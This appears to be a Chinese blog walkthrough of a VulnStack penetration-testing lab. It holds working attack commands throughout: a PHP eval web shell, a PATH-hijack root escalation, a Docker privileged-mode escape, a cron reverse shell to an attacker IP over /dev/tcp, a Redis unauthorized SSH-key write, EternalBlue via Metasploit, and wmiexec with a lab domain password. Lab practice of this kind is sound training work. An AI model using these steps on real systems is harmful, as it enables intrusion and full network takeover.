打之前把防火墙全关了 不然容易打一些步骤的时候会报错

这个靶机没云镜的好玩 域渗透的过程过于简单了 MS17梭哈全场

(实际上说是两层代理 其实就一层代理 52是可以出网的 只有93是内网)

防火墙记得关一下就行了

https://www.freebuf.com/articles/network/264560.html

https://xz.aliyun.com/t/9574#toc-5

上面有搭建环境的步骤 就不写了这里

fscan扫一下这个ip 10.6.221.204

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~/VulnStack]
└─# ./fscan_amd64 -h 10.6.221.204 -p 1-10000

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
(icmp) Target 10.6.221.204 is alive
[*] Icmp alive hosts len is: 1
10.6.221.204:80 open
10.6.221.204:22 open
10.6.221.204:81 open
10.6.221.204:6379 open
[*] alive ports len is: 4
start vulscan
[+] Redis:10.6.221.204:6379 unauthorized file:/home/web/dump.rdb
[+] Redis:10.6.221.204:6379 like can write /root/.ssh/
[+] Redis:10.6.221.204:6379 like can write /var/spool/cron/
[*] WebTitle: http://10.6.221.204:81 code:200 len:17474 title:Laravel
[+] InfoScan:http://10.6.221.204:81 [Laravel]
[+] http://10.6.221.204:81 poc-yaml-laravel-cve-2021-3129

通过看这个fscan的结果可知 存在一个redis未授权和一个laravel的CVE

80 81 22 6379

直接打就行了

这里先打这个laravel的CVE

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP/tree/main

直接用这个poc脚本来打就行了

image-20231103210805760

记得用低于3版本的哥斯拉来连接 不然会报错连不上

image-20231103211201823

这里我不习惯用哥斯拉 直接给当前网站写马连蚁剑

1
echo "<?php @eval(\$_POST[1]);?>" > 1.php

image-20231103211407028

然后开始收集信息

image-20231103211424417

发现ip啥的看不了 直接上cdk

wget或者从本地上传上去都是可行的方案

image-20231103211549491

发现这个ip不太对劲 我们访问的是http://10.6.221.204:81/进来的 结果看到这个ip是172的

image-20231103211659113

证实了我们的想法 是docker的

于是开始尝试提权

image-20231103211750091

这个东西太显眼了 在用户下的一个命令

image-20231103211825267

发现其会执行ps命令 那么我们如果加一个ps命令 并且修改PATH 然后让其优先于原来的ps 然后这样就可以进行提权了

先弹个shell到攻击机上 (蚁剑不太好操作提权)

image-20231103212504380

image-20231103212512500

1
2
3
4
5
6
7
8
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
# 然后就获得了root权限,可以执行命令了

image-20231103212820263

拿下root权限后 我们尝试docker逃逸 这里用的是这个磁盘挂载逃逸(也是特权模式逃逸)

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

首先我们现在docker中新建一个/hack目录用来挂在文件:

1
2
mkdir /hack
mount /dev/sda1 /hack

image-20231103212958092

挂载成功 那么接下来我们就写定时任务反弹shell了

1
echo '* * * * * bash -i >& /dev/tcp/10.6.209.175/1235 0>&1' >> /hack/var/spool/cron/crontabs/root

image-20231103214048489

image-20231103214118466

但是收不到shell 直接手动弹过来

image-20231103214229261

image-20231103214247931

这里又有一个很有意思的点出现了 我们拿到docker的宿主机 但是发现其ip并不是我们所访问的ip 10.6.221.204

这里可以猜测是开了nginx反向代理了 (先别慌 很有个redis主机还没拿下)

接下来就是打这个redis主机

1
2
3
4
5
6
7
ssh-keygen -t rsa #生成公钥
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt #将公钥导入foo.txt文件
cat foo.txt | redis-cli -h 10.6.221.204 -p 6379 -x set hello #把foo.txt文件内容写入目标主机的redis缓冲中
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
ssh 10.6.221.204 # 连接

image-20231103214807152

成功连上 image-20231103214824015

这就是我们所访问的这个外网ip了

然后去查看其nginx配置文件

image-20231103220039114

确实和我们想的一样 做了nginx反向代理 所以我们访问10.6.221.204:81端口时 访问的却是http://192.168.52.20:8000

docker也是在这个上面的启动的

那么整理一下

image-20231103220420776

虽然说是第二层网络 但是这个192.168.52.20是出网的 我们直接可以拿来当第一层来打

然后直接先上传fscan上去扫一下93这个c段

1
2
3
4
(icmp) Target 192.168.93.20   is alive
(icmp) Target 192.168.93.40 is alive
(icmp) Target 192.168.93.10 is alive
(icmp) Target 192.168.93.30 is alive

image-20231103220921129

这里的话是一共有4个主机在域内

但是你这么一看的话 域控和另一台主机是MS17 那么直接打就行了

信息整理

1
2
3
4
5
192.168.93.20   PC1.whoamianony.org

192.168.93.40 PC2.whoamianony.org

192.168.93.30 [+]DC DC.whoamianony.org

挂代理然后开打

1
2
3
4
5
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid //这个是个关键了 可以配合proxychains4本地使用
set RHOSTS 192.168.93.20
exploit

然后拿下PC1 之后 是system权限 然后creds_all拿下域控账号密码

然后psexec直接上域控就行了

1
proxychains wmiexec.py whoamianony.org/Administrator:'Whoami2021'@DC.whoamianony.org -dc-ip 192.168.93.30

然后就结束了………………………..

这个域环境太简单了